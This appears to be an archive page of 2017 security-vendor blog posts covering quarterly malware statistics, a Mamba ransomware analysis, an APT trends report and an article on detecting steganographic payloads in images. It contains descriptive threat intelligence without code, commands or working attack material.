Top 10 countries attacked by cryptors Country* % of users attacked by cryptors ** 1 Brazil 1.07% 2 Italy 1.06% 3 Japan 0.96% 4 Vietnam 0.92% 5 South Korea 0.78% 6 China 0.75% 7 Cambodia 0.75% 8 Taiwan 0.73% 9 Hong Kong 0.66% 10 Russia 0.65%

* We excluded those countries where the number of Kaspersky Lab product users is relatively small (under 50,000)
** Unique users whose computers have been targeted by ransomware as a percentage of all unique users of Kaspersky Lab products in the country.

Top 10 most widespread cryptor families Name Verdict* % of attacked users** 1 Wannacry Trojan-Ransom.Win32.Wanna 16,90% 2 Locky Trojan-Ransom.Win32.Locky 14,91% 3 Cerber Trojan-Ransom.Win32.Zerber 13,54% 4 Jaff Trojan-Ransom.Win32.Jaff 11,00% 5 Cryrar/ACCDFISA Trojan-Ransom.Win32.Cryrar 3,54% 6 Spora Trojan-Ransom.Win32.Spora 3,08% 7 ExPetr Trojan-Ransom.Win32.ExPetr 2,90% 8 Shade Trojan-Ransom.Win32.Shade 2,44% 9 Purgen/GlobeImposter Trojan-Ransom.Win32.Purgen 1,85% 10 (generic verdict) Trojan-Ransom.Win32.CryFile 1,67%

* These statistics are based on detection verdicts received from users of Kaspersky Lab products who have consented to provide their statistical data.
** Unique users whose computers have been targeted by a specific Trojan-Ransom family as a percentage of all users of Kaspersky Lab products attacked by Trojan-Ransom malware.

In addition to the abovementioned Wannacry and ExPetr, the Top 10 most popular cryptors included another two “newcomers”: Jaff and Purgen. Jaff was 4th followed by Cryrar. Kaspersky Lab specialists carried out a detailed analysis of the Trojan and discovered a flaw in its implementation of cryptographic algorithms which allowed creating a utility for decrypting files.

Other positions were occupied by Cerber, Locky, Spora and Shade.

Top 10 countries where online resources are seeded with malware

The following statistics are based on the physical location of the online resources used in attacks and blocked by our antivirus components (web pages containing redirects to exploits, sites containing exploits and other malware, botnet command centers, etc.). Any unique host could be the source of one or more web attacks.

In order to determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q2 2017, Kaspersky Lab solutions blocked 342, 566, 061 attacks launched from web resources located in 191 countries around the world. 33, 006, 783 unique URLs were recognized as malicious by web antivirus components.

Distribution of web attack sources by country, Q2 2017

In Q2 2017, the US took the lead in the number of web attack sources. The sourced in France turned more “popular” that those in Russia and Germany.

Countries where users faced the greatest risk of online infection

In order to assess the risk of online infection faced by users in different countries, we calculated the percentage of Kaspersky Lab users in each country who encountered detection verdicts on their machines during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers work in different countries.

This rating only includes attacks by malicious programs that fall under the Malware class. The rating does not include web antivirus module detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Country* % of users attacked** 1 Algeria 29.15 2 Albania 26.57 3 Belarus 25.62 4 Qatar 24.54 5 Ukraine 24.28 6 India 23.71 7 Romania 22.86 8 Azerbaijan 22.81 9 Tunisia 22.75 10 Greece 22.38 11 Brazil 22.05 12 Moldova 21.90 13 Russia 21.86 14 Vietnam 21.67 15 Armenia 21.58 16 Taiwan 20.67 17 Morocco 20.34 18 Kazakhstan 20.33 19 Kyrgyzstan 19.99 20 Georgia 19.92

 These statistics are based on detection verdicts returned by the web antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.
* These calculations excluded countries where the number of Kaspersky Lab users is relatively small (under 10,000 users).
**Unique users whose computers have been targeted by Malware-class attacks as a percentage of all unique users of Kaspersky Lab products in the country.

On average, 17.26% of computers connected to the Internet globally were subjected to at least one Malware-class web attack during the quarter.

Geography of malicious web attacks in Q2 2017 (ranked by percentage of users attacked)

The countries with the safest online surfing environments included Cuba (5%), Finland (11.32%), Singapore (11.49%), Israel (13.81%) and Japan (7.56%).

Local threats

Local infection statistics for user computers are a very important indicator: they reflect threats that have penetrated computer systems by infecting files or removable media, or initially got on the computer in an encrypted format (for example, programs integrated in complex installers, encrypted files, etc.).

Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media.

In Q2 2017, Kaspersky Lab’s file antivirus detected 185, 801, 835 unique malicious and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky Lab product users on whose computers the file antivirus was triggered during the quarter. These statistics reflect the level of personal computer infection in different countries.

The rating of malicious programs only includes Malware-class attacks. The rating does not include web antivirus module detections of potentially dangerous or unwanted programs such as RiskTool or adware.

The Top 20 countries where users faced the highest risk of local infection remained almost unchanged from the previous quarter, however Kazakhstan and Belarus were replaced by Mozambique and Mauritania:

Country* % of users attacked** 1 Afghanistan 52.08 2 Uzbekistan 51.15 3 Yemen 50.86 4 Tajikistan 50.66 5 Algeria 47.19 6 Ethiopia 47.12 7 Laos 46.39 8 Vietnam 45.98 9 Turkmenistan 45.23 10 Mongolia 44.88 11 Syria 44.69 12 Djibouti 44.26 13 Iraq 43.83 14 Rwanda 43.59 15 Sudan 43.44 16 Nepal 43.39 17 Somalia 42.90 18 Mozambique 42.88 19 Bangladesh 42.38 20 Mauritania 42.05

These statistics are based on detection verdicts returned by on-access and on-demand antivirus modules, received from users of Kaspersky Lab products who have consented to provide their statistical data. The data include detections of malicious programs located on users’ computers or on removable media connected to the computers, such as flash drives, camera and phone memory cards, or external hard drives.
* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (under 10,000 users).
** The percentage of unique users in the country with computers that blocked Malware-class local threats as a percentage of all unique users of Kaspersky Lab products.

An average of 20.97% of computers globally faced at least one Malware-class local threat during the second quarter. Russia’s contribution to this rating accounted for 25.82%.

The safest countries in terms of local infection risks were: Chile (15.06%), Latvia (14.03%), Portugal (12.27%), Australia (9.46%), Great Britain (8.59%), Ireland (6.30%) and Puerto Rico (6.15%).

2017. augusztus 9.

The return of Mamba ransomware

At the end of 2016, there was a major attack against San Francisco’s Municipal Transportation Agency. The attack was done using Mamba ransomware. This ransomware uses a legitimate utility called DiskCryptor for full disk encryption. This month, we noted that the group behind this ransomware has resumed their attacks against corporations.

Attack Geography

We are currently observing attacks against corporations that are located in:

  • Brazil
  • Saudi Arabia
Attack Vector

As usual, this group gains access to an organization’s network and uses the psexec utility to execute the ransomware. Also, it is important to mention that for each machine in the victim’s network, the threat executor generates a password for the DiskCryptor utility. This password is passed via command line arguments to the ransomware dropper.

Example of malware execution

Technical Analysis

In a nutshell, the malicious activity can be separated into two stages:

Stage 1 (Preparation):

  • Create folder “C:\xampp\http
  • Drop DiskCryptor components into the folder
  • Install DiskCryptor driver
  • Register system service called DefragmentService
  • Reboot victim machine

Stage 2 (Encryption):

  • Setup bootloader to MBR and encrypt disk partitions using DiskCryptor software
  • Clean up
  • Reboot victim machine
Stage 1 (Preparation)

As the trojan uses the DiskCryptor utility, the first stage deals with installing this tool on a victim machine. The malicious dropper stores DiskCryptor’s modules in their own resources.

DiskCryptor modules

Depending on OS information, the malware is able to choose between 32- or 64-bit DiskCryptor modules. The necessary modules will be dropped into the “C:\xampp\http” folder.

The malware drops the necessary modules

After that, it launches the dropped DiskCryptor installer.

The call of the DiskCryptor installer

When DiskCryptor is installed, the malware creates a service that has SERVICE_ALL_ACCESS and SERVICE_AUTO_START parameters.

The creation of the malicious service’s function

The last step of Stage 1 is to reboot the system.

Force reboot function

Stage 2 (Encryption)

Using the DiskCryptor software, the malware sets up a new bootloader to MBR.

The call for setting up a bootloader to MBR

The bootloader contains the ransom message for the victim.

Ransomware note

After the bootloader is set, disk partitions would be encrypted using a password, previously specified as a command line argument for the dropper.

The call tree of encryption processes

When the encryption ends, the system will be rebooted, and a victim will see a ransom note on the screen.

Ransom notes

Kaspersky Lab products detect this threat with the help of the System Watcher component with the following verdict: PDM:Trojan.Win32.Generic.

Decryption

Unfortunately, there is no way to decrypt data that has been encrypted using the DiskCryptor utility because this legitimate utility uses strong encryption algorithms.

IOCs:

79ED93DF3BEC7CD95CE60E6EE35F46A1

2017. augusztus 8.

APT Trends report Q2 2017

Introduction

Since 2014, Kaspersky Lab’s Global Research and Analysis Team (GReAT) has been providing threat intelligence reports to a wide-range of customers worldwide, leading to the delivery of a full and dedicated private reporting service. Prior to the new service offering, GReAT published research online for the general public in an effort to help combat the ever-increasing threat from nation-state and other advanced actors.  Since we began offering a threat intelligence service, all deep technical details on advanced campaigns are first pushed to our subscriber base. At the same time, to remain true to our efforts to help make the internet safer, important incidents, such as WannaCry or Petya are covered in both private and public reports.

Kaspersky’s Private Threat Intelligence Portal (TIP)

In Q1 of 2017 we published our first APT Trends report, highlighting our top research findings over the last few months. We will continue to publish quarterly reports as a representative snapshot of what has been offered in greater detail in our private reports in order to highlight significant events and findings we feel most users should be aware of.  If you would like to learn more about our intelligence reports or request more information for a specific report, readers are encouraged to contact: intelreports@kaspersky.com.

Russian-Speaking Actors

The second quarter of 2017 has seen multiple incidents involving Russian-speaking threat actors. Topping the list of ‘attention grabbers’ were the Sofacy and Turla threat actors.

March and April started off with a bang, with the discovery of three zero-day exploits being used in-the-wild by Sofacy and Turla: two of these targeted Microsoft Office’s Encapsulated PostScript (EPS) and the third being a Microsoft Windows Local Privilege Escalation (LPE).  Sofacy was discovered utilizing both CVE-2017-0262 (an EPS vulnerability) and CVE-2017-0263 (LPE) over the Easter holiday, targeting a swath of users throughout Europe.  Prior to this attack, Turla was also discovered using CVE-2017-0261 (a different EPS vulnerability).  Neither actor appeared to deviate from their usual payload repertoire, with Sofacy dropping their typical GAMEFISH payload and Turla utilizing what we refer to as ICEDCOFFEE (a.k.a. Shirime).  Targeting for these attacks was also directly within the normal wheelhouse for both actors, focusing mainly on foreign ministries, governments, and other government-affiliated organizations.

GReAT produced additional reports on Sofacy and Turla beyond those mentioned above.  In April, we notified customers of two new experimental macro techniques utilized by Sofacy.  These techniques, while not particularly sophisticated, caught our attention as they had not been seen before in-the-wild.  The first technique involved using the built-in ‘certutil’ utility in Microsoft Windows to extract a hardcoded payload within a macro. The second technique involved embedding Base64-encoded payloads within the EXIF metadata of the malicious documents.  While the targeting for this new set of activity was again fairly standard, we discovered some noteworthy targeting against a French political party member prior to the 2017 elections.  Moving into May and June, we wrote two additional reports of interest involving these two actors: the first was an update on the long running “Mosquito Turla” campaign showing the usage of fake Adobe Flash installers and continued targeting of foreign Ministries. The other documented yet another update on Sofacy’s unique Delphi payload we call ‘Zebrocy’.

June saw the massive outbreak of a piece of malware dubbed “ExPetr”.  While initial assessments presumed that this was yet another ransomware attack à la WannaCry, a deeper assessment by GReAT places the initial intent as constituting an operation destructive in nature.  We were also able to confidently identify the initial distribution of the malware, as well as indicate a low confidence assessment that the attacks may share traits with the BlackEnergy actors. 

Below is a summary of report titles produced for the Eastern European region only.  As stated above, if you would like to learn more about our threat intelligence products or request more information on a specific report, please direct inquiries to intelreports@kaspersky.com.

  1. Sofacy Dabbling in New Macro Techniques
  2. Sofacy Using Two Zero Days in Recent Targeted Attacks – early warning
  3. Turla EPS Zero Day – early warning
  4. Mosquito Turla Targets Foreign Affairs Globally
  5. Update on Zebrocy Activity June 2017
  6. ExPetr motivation and attribution – Early alert
  7. BlackBox ATM attacks using SDC bus injection
English-Speaking Actors

English-speaking actors are always particularly fascinating due to their history of complex tooling and campaigns. Actors like Regin and Project Sauron have proven fascinating examples of new techniques leveraged in long-lasting, hard to catch campaigns and as such make ideal subjects for further research. Not to be outdone, Equation and the Lamberts were the subjects of our most recent investigations.

Continuing our practice of conducting malware paleontology while integrating new discoveries, we published a report on EQUATIONVECTOR, an Equation backdoor first used as early as 2006. This backdoor is a fascinating passive-active shellcode staging implant. It’s one of the earliest noted instances of a NObody But US (‘NOBUS’) backdoor for staging further attacks. Despite its age, the EQUATIONVECTOR backdoor (identified as ‘PeddleCheap’ in the latest ShadowBrokers disclosures) incorporates many advanced techniques for prolonged stealthy operations in victim networks, allowing the Equation operators to deliver further payloads without arousing suspicion. The report tracks the development of these tools through subsequent iterations year-by-year.

Our tracking of the Lamberts toolkit continues with the publication of the Gray Lambert report in June, the most advanced Lambert known to date. This too is a NOBUS backdoor, a passive implant operating strictly in user-land. The intricate usefulness of Gray Lambert lies in its ability to orchestrate multiple sniffer victims on a network via broadcast, multicast, and unicast commands, allowing the operators to employ surgical precision in networks with many infected machines. The sniffers double as next-stage payload delivery mechanisms for an infected network. A notable feature of the Lambert campaigns is the level of precision with which targets are chosen; Gray Lambert’s victimology is primarily focused on strategic verticals in Asia and Middle East. During this investigation, GReAT researchers have also discovered two additional Lambert families (Red Lambert and Brown Lambert) currently under investigation for Q3.  Below is a list of report titles for reference:

  1. EQUATIONVECTOR – A Generational Breakdown of the PeddleCheap Multifunctional Backdoor
  2. The Gray Lambert – A Leap in Sophistication to User-land NOBUS Passive Implants
Korean-speaking Actors

Our researchers focusing on attacks with a Korean nexus also had a very busy quarter, producing seven reports on the Lazarus group and WannaCry attacks.  Most of the reports on Lazarus directly involved a sub-group we refer to as BlueNoroff.  They are the arm that focuses mainly on financial gain, targeting banks, ATMs, and other “money-makers”.  We revealed to customers a previously unknown piece of malware dubbed ‘Manuscrypt’ used by Lazarus to target not only diplomatic targets in South Korea, but also people using virtual currency and electronic payment sites. Most recently, ‘Manuscrypt’ has become the primary backdoor used by the BlueNoroff sub-group to target financial institutions.

WannaCry also created quite a stir in the second quarter, with our analysts producing three reports and multiple blog posts on this emerging threat.  What proved most interesting to us, was the probable linkage to Lazarus group as the source of the attacks, as well as the origins of the malware.  GReAT researchers were able to trace back some of its earliest usage and show that before the ‘EternalBlue’ exploit was added to version 2, WannaCry v1 was used in spearphishing attacks months prior.  Here is a listing of our reports from Q2 on actors with a Korean nexus:

  1. Manuscrypt – malware family distributed by Lazarus
  2. Lazarus actor targets carders
  3. Lazarus-linked ATM Malware On the Loose In South Korea
  4. Lazarus targets electronic currency operators
  5. WannaCry – major ransomware attack hitting businesses worldwide – early alert
  6. WannaCry possibly tied to the Lazarus APT Group
  7. The First WannaCry Spearphish and Module Distribution
Middle Eastern Actors

While there wasn’t much high-end activity involving Middle Eastern actors, we did produce two reports revolving around the use of a zero-day exploit (CVE-2017-0199).  The most notable involved an actor we refer to as BlackOasis and their usage of the exploit in-the-wild prior to its discovery.  We have previously reported on BlackOasis using other zero-days in the past; CVE-2016-4117 in May 2016, CVE-2016-0984 in June 2015, and CVE-2015-5119 in June 2015.  It is believed that BlackOasis is a customer of Gamma Group and utilizes the popular ‘lawful surveillance’ kit FinSpy.  Other than the usage of the exploit, this report was significant because it also showed one of the earliest known uses of a new version of FinSpy, which is still being analyzed by our researchers.

After the discovery of CVE-2017-0199, a plethora of threat actors also began to leverage this exploit in their attacks.  We reported to customers on the usage of this exploit by a well-known Middle Eastern actor dubbed ‘OilRig’.  OilRig has actively targeted many organizations in Israel with the exploit via spearphishes appearing to originate from well-known doctors within Ben Gurion University.  While their execution was less than stellar, it highlighted the widespread usage of this exploit shortly after its discovery.

  1. OilRig exploiting CVE-2017-0199 in new campaign
  2. BlackOasis using Ole2Link zero day exploit in the wild
Chinese-Speaking Actors

On the Chinese speaking front, we felt it necessary to produce two reports to our customers.  While Chinese speaking actors are active on a daily basis, not much has changed and we prefer to avoid producing reports on ‘yet another instance of APTxx’ for the sake of padding our numbers.  Instead we try to focus on new and exciting campaigns that warrant special attention.

One of those reports detailed a new finding regarding a fileless version of the well-known ‘HiKit’ malware dubbed ‘Hias’.  We have reported on Hias in the past, and one of our researchers was finally able to discover the persistence mechanism used, which also allowed us to tie the activity to an actor we call ‘CloudComputating’.

Another report detailed a new campaign we referred to as ‘IndigoZebra’.  This campaign was targeting former Soviet Republics with a wide swath of malware including Meterpreter, Poison Ivy, xDown, and a previously unknown malware called ‘xCaon’.  This campaign shares ties with other well-known Chinese-speaking actors, but no definitive attribution has been made at this time.

  1. Updated technical analysis of Hias RAT
  2. IndigoZebra – Intelligence preparation to high-level summits in Middle Asia
Best of the rest

Sometimes we find new and exciting campaigns or entirely new threat actors to report to our subscribers without being able to make an immediate or definitive determination on regional provenance.  Several reports fell into this category in the last quarter.  ChasingAdder is a report describing a new persistence technique that hijacked a legitimate WMI DLL for the purposes of loading a malicious payload. This activity targeted high-profile diplomatic, military, and research organizations beginning in the fall of 2016, but to date we have not been able to pinpoint the specific actor responsible.

Demsty is a new piece of MacOS malware that is targeting University researchers in Hong Kong, among others.  At the time of writing, we have a low confidence assessment that the campaign was conducted by Chinese-speaking actors, and thus categorize this as ‘Unknown’ until greater evidence comes to light.

During Q2, the mischievous ShadowBrokers also continued their regular activities dumping multiple tools and documentation allegedly stolen from Equation Group. In April, the ShadowBrokers released another dump of information detailing the alleged targeting of SWIFT service bureaus and other banks by Equation Group.  Since some of our customers are financial entities, we found it necessary to evaluate the data and provide an expert’s opinion on the validity of the dump.

Reports in the ‘unknown’ category:

  1. ShadowBrokers’ Lost in translation leak – SWIFT attacks analysis
  2. ChasingAdder – WMI DLL Hijacking Trojan Targeting High Profile Victims
  3. University Researchers Located in Hong Kong Targeted with Demsty
Predictions

Based on the trends we’ve seen over the last three months, as well as foreseeable geopolitical events, we have listed a few predictions for the upcoming quarter (Q3). As always, this isn’t an exact science and some cases won’t come to fruition. Analyzing current and future events and combining those with the motivations of known active actors can help organizations prepare for likely forthcoming activity:

  1. Misinformation campaigns will remain a threat to countries with upcoming elections, specifically Germany and Norway, as they have been previous targets for Eastern European based actors.
  2. ‘Lawful Surveillance’ tools will continue to be utilized by governments that don’t have well-established Cyber Operations capabilities, mainly based out of the Middle East. Companies such as Gamma Group, Hacking Team, and NSO will continue to offer new zero-day exploits to those customers. As prices increase and exchanges thrive, new organizations and marketplaces will continue popping up.
  3. Destructive malware disguised as ransomware will continue to be a problem. In the last quarter we’ve seen two instances of this, and with the continued release of tools / exploits from dumps like Vault7 and ShadowBrokers, this is going to be a new alarming trend to deal with.
  4. In China, the past months have been marked by the dwindling economic growth, rising tensions with North Korea and the US, and increased exchanges between South Korean / Japanese / American organizations. In addition to these, the 19th Party Congress is set to be held in the fall of 2017 and according to multiple public predictions, it is likely that some major changes will happen in the leadership. It’s possible that these events will have wide regional influences that could affect the way that threat actors operate in Asia, both in terms of targeting and TTPs.
  5. Targeting energy-related companies and organizations will be on the rise. Countries such as Norway may be a top target moving forward given their control on oil and gas in the region in the buildup to an election. Saudi Arabia will also top the charts for potential targeting as they have in years past.
  6. Lower-tier threat actors continue to increase cyber-espionage efforts and capabilities both in complexity and size. Expect more activity with varied technical capabilities coming from lesser known or previously unseen actors.
How to keep yourself protected

One of the biggest problems when it comes to leveraging threat intelligence is judging the quality of the data and how it can be used for defense. For instance, we may observe an increase in the number of fileless attacks or attacks in which all IOCs are unique or specific per victim. In such situations, having not only host-based IOCs, but also network IOCs and Yara rules that can help identify malware in all cases is very important.

Another problem comes from the fact that many threat intelligence providers have a limited world view and their data covers only a small set of threats. It’s easy for an enterprise to fall into the trap of thinking that ‘actor X’ is not something they need to worry because their focus has been only certain countries or certain industry sectors; only to discover later that their ignorance left them blind to those attacks.

As shown by many incidents, but especially by WannaCry and ExPetr’s EternalBlue-based spreading subroutines, vulnerabilities remain a key approach to infecting systems. Therefore timely patching is of utmost importance – which, being one of the most tedious IT maintenance tasks, works much better with good automation. Kaspersky Endpoint Security for Business Advanced and Kaspersky Total Security include Vulnerability & Patch management components, offering convenient tools for making patching much easier, and much less time-consuming for IT staff.

Given the above, it is highly recommended that prevention (such as endpoint protection) along with advanced detection capabilities, such as a solution that can detect all types of anomalies and scrutinize suspicious files at a deeper level, be present on users’ systems. The Kaspersky Anti Targeted Attack solution (KATA) matches events coming from different infrastructure levels, discerns anomalies and aggregates them into incidents, while also studying related artifacts in a safe environment of a sandbox. As with most Kaspersky products, KATA is powered by HuMachine Intelligence, which is backed by on premise and in lab-running machine learning processes coupled with real-time analyst expertise and our understanding of threat intelligence big data.

The best way to prevent attackers from finding and leveraging security holes, is to eliminate the holes altogether, including those involving improper system configurations or errors in proprietary applications. For this, Kaspersky Penetration Testing and Application Security Assessment services can become a convenient and highly effective solution, providing not only data on found vulnerabilities, but also advising on how to fix it, further strengthening corporate security.

2017. augusztus 3.

Steganography in contemporary cyberattacks

Steganography is the practice of sending data in a concealed format so the very fact of sending the data is disguised. The word steganography is a combination of the Greek words στεγανός (steganos), meaning “covered, concealed, or protected”, and γράφειν (graphein) meaning “writing”.

Unlike cryptography, which conceals the contents of a secret message, steganography conceals the very fact that a message is communicated. The concept of steganography was first introduced in 1499, but the idea itself has existed since ancient times. There are stories of a method being used in the Roman Empire whereby a slave chosen to convey a secret message had his scalp shaved clean and a message was tattooed onto the skin. When the messenger’s hair grew back, he was dispatched on his mission. The receiver shaved the messenger’s scalp again and read the message.

In this article, the following definitions are used:

  • Payload: the information to be concealed and sent secretly, or the data covertly communicated;
  • Carrier (stego-container): any object where the payload is secretly embedded;
  • Stego-system: the methods and means used to create a concealed channel for communicating information;
  • Channel: the data communication channel via which the carrier is transferred;
  • Key: the key used to extract the payload from the carrier (not always applied).

Steganography was actively developed throughout the 20th century, as was steganalysis, or the practice of determining the fact that concealed information is being communicated within a carrier. (Basically, steganalysis is the practice of attacking stego-systems.) Today, however, a dangerous new trend is emerging: steganography is increasingly being used by actors creating malware and cyber-espionage tools. Most modern anti-malware solutions provide little, if any, protection from steganography, while any carrier in which a payload can be secretly carried poses a potential threat. It may contain data being exfiltrated by spyware, communication between a malicious program and its C&C, or new malware.

A variety of steganographic methods and algorithms have been scientifically developed and tested. A description of some of them is provided below.

  • In LSB steganography, the payload is encoded into and communicated in one or several least significant bits of the carrier. The smaller the number of bits used to carry the payload, the lower the impact on the original carrier signal.
  • Discrete cosine transform or DCT-based steganography is a sub-type of LSB steganography that is often applied on JPEG-format carriers (i.e., when JPEG images are used to carry the payload). In this method, the communicated data is secretly encoded into the DCT coefficients. With all other factors being equal, this method provides a somewhat lower data carrying capacity; one of the reasons for this is that the coefficient values of 0 and 1 cannot be altered, so no data can be encoded whenever the coefficients take on these values.
  • Palette-based image steganography is basically another sub-type of LSB steganography, in which the communicated data is encoded into least significant bits of the image palette rather than into those of the carrier. The obvious downside to this method is its low data carrying capacity.
  • Use of service fields in data formats. This is a relatively simple method, in which the payload is embedded into the service fields of the carrier’s headers. The downsides are, again, a low data carrying capacity and low payload protection: the embedded payload may be detected using regular image viewing software that can sometimes display the contents of the service fields.
  • Payload embedding is a method whereby the payload is encoded into the carrier and, upon delivery, is decoded using an algorithm known to both parties. Several payloads can be independently encoded into the same carrier provided that their embedding methods are orthogonal.
  • Wideband methods fall into the following types:
    • Pseudorandom sequence method, in which a secret carrier signal is modulated by a pseudorandom signal.
    • Frequency hopping method, in which the frequency of the carrier signal changes according to a specific pseudorandom law.
  • Overlay method – strictly speaking, this is not proper steganography, and is based on the fact that some data formats contain data size in a header, or the fact that the handler of such formats reads the file till it reaches the end-of-data marker. An example is the well-known RAR/JPEG method based on concatenating an image file, so that it is composed of a JPEG format section, followed by a RAR archive section. A JPEG viewer software program will read it till the boundary specified in the file’s header, while a RAR archiver tool will disregard everything prior to the RAR! signature that denotes the beginning of an archive. Therefore, if such a file is opened in an image file viewer, it will display the image, and if it is opened in a RAR archiver, it will display the contents of the RAR archive. The downside to this method is that the overlay added to the carrier segment can be easily identified by an analyst visually reviewing the file.

In this article, we will only review methods of concealing information in image-type carriers and in network communication. The application of steganography is, however, much wider than these two areas.

Recently, we have seen steganography used in the following malware programs and cyberespionage tools:

  • Microcin (AKA six little monkeys);
  • NetTraveler;
  • Zberp;
  • Enfal (its new loader called Zero.T);
  • Shamoon;
  • KinS;
  • ZeusVM;
  • Triton (Fibbit).

So why are malware authors increasingly using steganography in their creations? We see three main reasons for this:

  • It helps them conceal not just the data itself but the fact that data is being uploaded and downloaded;
  • It helps bypass DPI systems, which is relevant for corporate systems;
  • Use of steganography may help bypass security checks by anti-APT products, as the latter cannot process all image files (corporate networks contain too many of them, and the analysis algorithms are rather expensive).

For the end user, detecting a payload within a carrier may be a non-trivial task. As an example, let’s review the two images below. One is an empty carrier, and the other is a carrier with a payload. We will use the standard test image Lenna.

Lenna.bmp Lenna_stego.bmp

Both images are 786 486 bytes; however, the right-hand image contains the first 10 chapters of Nabokov’s novel Lolita.

Take a good look at these two images. Can you see any difference? They are identical in both size and appearance. However, one of them is a carrier containing an embedded message.

The problems are obvious:

  • Steganography is now very popular with malware and spyware writers;
  • Anti-malware tools generally, and perimeter security tools specifically, can do very little with payload-filled carriers. Such carriers are very difficult to detect, as they look like regular image files (or other types of files);
  • All steganography detection programs today are essentially proof-of-concept, and their logic cannot be implemented in commercial security tools because they are slow, have fairly low detection rates, and sometimes even contain errors in the math (we have seen some instances where this was the case).

A list was provided above (though it does not claim to be complete) of malicious programs that use steganography to conceal their communication. Let’s review one specific case from that list, the malicious loader Zero.T.

We detected this loader in late 2016, though our colleagues from Proofpoint were first to publish a description.

We named it Zero.T because of this string in its executable code (in the path leading to the project’s PBD file):

We will not dwell here on how the malicious loader penetrates the victim system and remains there, but will note that it loads a payload in the form of Bitmap files:

Then it processes them in a particular way to obtain malicious modules:

On the face of it, these three BMP files appear to be images:

However, they are more than just regular images; they are payload-filled carriers. In each of them, several (the algorithm allows for variability) least significant bits are replaced by the payload.

So, is there a way to determine whether an image is carrying a malicious payload or not? Yes, there are several ways of doing so, the simplest being a visual attack. It is based on forming new images from the source image, containing the least significant bits of different color planes.

Let’s see how this works using the Steve Jobs photo as a sample image.

We apply a visual attack to this image and construct new images from the separate significant bits in the appropriate order:

In the second and the third images, high entropy (high data density) areas are apparent – these contain the embedded payload.

Sounds simple, right? Yes and no. It’s simple in that an analyst – and even an average user – can easily see the embedded data; it’s difficult in that this sort of analysis is not easy to automate. Fortunately, scientists have long since developed a number of methods for detecting carriers with payloads, based on an image’s statistical characteristics. However, all of them are based on the assumption that the encoded payload has high entropy. This is true in most cases: since the container’s capacity is limited, the payload is compressed and/or encrypted before encoding, thus increasing its entropy.

However, our real-life example, the malicious loader Zero.T, does not compress its malicious modules before encoding. Instead, it increases the number of least significant bits it uses, which can be 1, 2 or 4. Yes, using a larger number of least significant bits introduces visual artefacts into the carrier image, which a regular user can detect visually. But we are talking about automatic analysis. So, the question we have to answer is: are statistical methods suitable for detecting embedded payloads with low levels of entropy?

Statistical methods of analysis: histogram method

This method was suggested in 2000 by Andreas Westfeld and Andreas Pfitzmann, and is also known as the chi-squared method. Below we give a brief overview.

The entire image raster is analyzed. For each color, the number of dots possessing that color is counted within the raster. (For simplicity, we are dealing with an image with one color plane.) This method assumes that the number of pixels possessing two adjacent colors (i.e. colors different only by one least significant bit) differs substantially for a regular image that does not contain an embedded payload (see Figure A below). For a carrier image with a payload, the number of pixels possessing these colors is similar (see Figure B).

Figure A. An empty carrier Figure B. A filled carrier.

The above is an easy way to visually represent this algorithm.

Strictly speaking, the algorithm consists of the following steps that must be executed sequentially:

  • The expected occurrence frequency for the pixels of color i in a payload-embedded image is calculated as follows:
  • The measured frequency of the occurrence of a pixel of specific color is determined as:
  • The chi-squared criterion for k-1 degrees of freedom is calculated as:
  • P is the probability that the distributions ni and ni* are equal under these conditions. It is calculated by integrating the density function:

Naturally, we have tested whether this method is suitable for detecting filled stego-containers. Here are the results.

Original image Visual attack image Chi-squared attack, 10 zones

The threshold values of the chi-squared distribution for p=0.95 and p=0.99 are 101.9705929 and 92.88655838 respectively. Thus, for the zones where the calculated chi-squared values are lower than the threshold, we can accept the original hypothesis “adjacent colors have similar frequency distributions, therefore we are dealing with a carrier image with a payload”.

Indeed, if we look at the visual attack images, we can clearly see that these zones contain an embedded payload. Thus, this method works for high-entropy payloads.

Statistical methods of analysis: RS method

Another statistical method of detecting payload carriers was suggested by Jessica Fridrich, Miroslav Goljan and Andreas Pfitzmann in 2001. It is called the RS method, where RS stands for ‘regular/singular’.

The analyzed image is divided into a set of pixel groups. A special flipping procedure is then applied for each group. Based on the values of the discriminant function before and after the flipping procedure is applied, all groups are divided into regular, singular and unusable groups.

This algorithm is based on the assumption that the number of regular and singular pixel groups must be approximately equal in the original image and in the image after flipping is applied. If the numbers of these groups change appreciably after flipping is applied, this indicates that the analyzed image is a carrier with a payload.

The algorithm consists of the following steps:

  • The original image is divided into groups of n pixels (x1, …, xn).
  • The so-called discriminant function is defined which assigns to each group of pixels G = (x1, …, xn) a real number f(x1, …, xn) ∈
  • The discriminant function for the groups of pixels (x1, …, xn) can be defined as follows:
  • Then we define the flipping function which has the following properties:

Depending on the discriminant function’s values prior to and after flipping is applied, all groups of pixels are divided into regular, singular and unusable groups:

We have put this method to the test as well, and obtained the following results. We used the same empty and payload-embedded carriers as in the previous test.

Original image Visual attack image Chi-squared attack, 10 zones

Note that this attack method does not pass the binary verdict in terms of “whether this specific carrier contains an embedded payload or not”; rather, it determines the approximate length of the embedded payload (as a percentage).

As can be seen from the results above, this method returned a verdict for the empty message that it was filled less than 1% with payload, and for the payload-embedded carrier it returned a verdict that it was about 44% filled. Obviously, these results are slightly off. Let’s look at the filled container: from the visual attack it follows that more than 50% of the container is filled, while the RS attack tells us that 44% of the container is filled. Therefore, we can apply this method if we establish a certain “trigger threshold”: our experiments showed that 10% is a sufficient threshold of reliability. If the RS attack claims that more than 10% of the container is full, you can trust this verdict and mark the container as full.

Now it’s time to test these two methods in real-world conditions, on the Zero.T carriers in which the payload has regular entropy.

We ran the appropriate tests and here are the results:

Original image Chi-squared attack RS attack

As we see, a chi-squared attack is not applicable on low entropy images – it yields unsatisfactory or inaccurate results. However, the RS attack worked well: in both cases, it detected a hidden payload in the image. However, what do we do if automatic analysis methods show there is no payload, but we still suspect there might be one?

In that case, we can apply specific procedures that have been developed for specific malware families to extract the payload. For the aforementioned Zero.T loader, we have written our own embedded payload extraction tool. Its operation can be schematically presented as follows.

+ =

Obviously, if we get a valid result (in this specific case, an executable file), then the source image has an embedded payload in it.

Is DNS tunneling also steganography?

